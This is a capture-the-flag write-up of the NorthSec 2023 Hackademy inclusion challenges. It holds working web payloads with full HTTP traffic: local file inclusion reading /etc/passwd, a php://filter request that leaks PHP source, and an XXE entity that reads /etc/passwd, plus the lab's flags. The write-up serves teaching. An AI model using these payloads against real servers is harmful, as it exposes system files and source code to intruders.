NorthSec 2023 Writeup - Hackademy - Inclusion
2023/05/22
The Hackademy contains web challenges for beginners. This year, I realized I had writeups for all of them except the Inclusion challenges.
Unauthorized training module: http://hackademy.ctf
Inclusion 101
In the first Inclusion challenge, you get a web page with a conversation between a trainer and an apprentice.
The URL for the challenge contains the parameter ?page=welcome.php. I changed the parameter to try and read /etc/passwd.
GET /?page=/etc/passwd HTTP/1.1
Host: chal2.hackademy.ctf
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
It worked.
HTTP/1.1 200 OK
Date: Sat, 20 May 2023 18:49:39 GMT
Server: Apache/2.4.52 (Ubuntu)
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 1847
<!DOCTYPE html>
<html>
<head>
<title>NorthSec Hackademy</title>
<script type="text/javascript" src="https://code.jquery.com/jquery-3.5.1.js"></script>
<script type="text/javascript" src="js/bootstrap.bundle.min.js"></script>
<link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
</head>
<body>
<div class="container">
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:102:105::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
syslog:x:104:111::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
ubuntu:x:1000:1000::/home/ubuntu:/bin/bash
trainer:x:1001:1001:Trainer:FLAG-afe2e9b36c2628bc275fc407c23af8f8,,,,:/bin/false:/sbin/nologin
</div>
</body>
</html>
The first flag was in the file in the user information section of the trainer user.
Inclusion 102
For the second flag, I tried to read the source code of the application. I could not just request the PHP file, it would have been executed by include instead of returning it. I used PHP filters to base64 encode the PHP code and return it.
GET /?page=php://filter/convert.base64-encode/resource=index.php HTTP/1.1
Host: chal2.hackademy.ctf
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
I took the returned base64 and decoded it.
$ echo -n PD9waHAKICAgICNGTEFHLTA3NDQ3YzZiY2VkNDZjNj... | base64 -d
<?php
#FLAG-07447c6bced46c678a6c9de7d31f6caf (2/2)
if(!isset($_GET["page"])){
header("Location: ?page=welcome.php");
die();
}
$page = $_GET["page"];
if(strpos($_GET["page"], "index.php") !== false && !preg_match("/.*=([.\/]*)?index.php$/", $_GET["page"])){
header("Location: ?page=welcome.php");
die();
}
?>
<!DOCTYPE html>
<html>
<head>
<title>NorthSec Hackademy</title>
<script type="text/javascript" src="https://code.jquery.com/jquery-3.5.1.js"></script>
<script type="text/javascript" src="js/bootstrap.bundle.min.js"></script>
<link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
</head>
<body>
<div class="container">
<?php include($page); ?>
</div>
</body>
</html>
The second flag was in a comment at the beginning of the file.
Inclusion 103
For the third inclusion challenge, it showed the same conversation as before. But without the URL parameter.
I used Caido to look at the requests made by the site.
POST /welcome.php HTTP/1.1
Host: chal3.hackademy.ctf
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/xml
X-Requested-With: XMLHttpRequest
Content-Length: 60
Origin: http://chal3.hackademy.ctf
Connection: keep-alive
Referer: http://chal3.hackademy.ctf/
<function><getConversation>true</getConversation></function>
The site was posting some XML, this screams XXE. I tried to read /etc/passwd again.
HTTP/1.1 200 OK
Date: Sat, 20 May 2023 18:53:11 GMT
Server: Apache/2.4.52 (Ubuntu)
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 353
<?xml version="1.0"?>
<result>
<getConversation>true</getConversation><data><hr>Trainer: "Welcome to our hackademy. How may I help you?"<hr>Apprentice: "You can start by telling me your name."<hr>Trainer: "I'm not telling you my name. If you want my name, find it! I can only say that it starts with 'FLAG-'."<hr></data>
</result>
It contained the last flag.
POST /welcome.php HTTP/1.1
Host: chal3.hackademy.ctf
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/xml
X-Requested-With: XMLHttpRequest
Origin: http://chal3.hackademy.ctf
Connection: keep-alive
Referer: http://chal3.hackademy.ctf/
Content-Length: 162
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<function><getConversation>&xxe;</getConversation></function>
HTTP/1.1 200 OK
Date: Sat, 20 May 2023 18:55:11 GMT
Server: Apache/2.4.52 (Ubuntu)
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 1765
<?xml version="1.0"?>
<result>
<getConversation>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
ubuntu:x:1000:1000::/home/ubuntu:/bin/bash
trainer:x:1001:1001:Trainer:FLAG-b1c6dab4c0d216a5b1e83be1313a811a,,,,:/bin/false:/sbin/nologin
</getConversation><data><hr>Trainer: "Welcome to our hackademy. How may I help you?"<hr>Apprentice: "You can start by telling me your name."<hr>Trainer: "I'm not telling you my name. If you want my name, find it! I can only say that it starts with 'FLAG-'."<hr></data>
</result>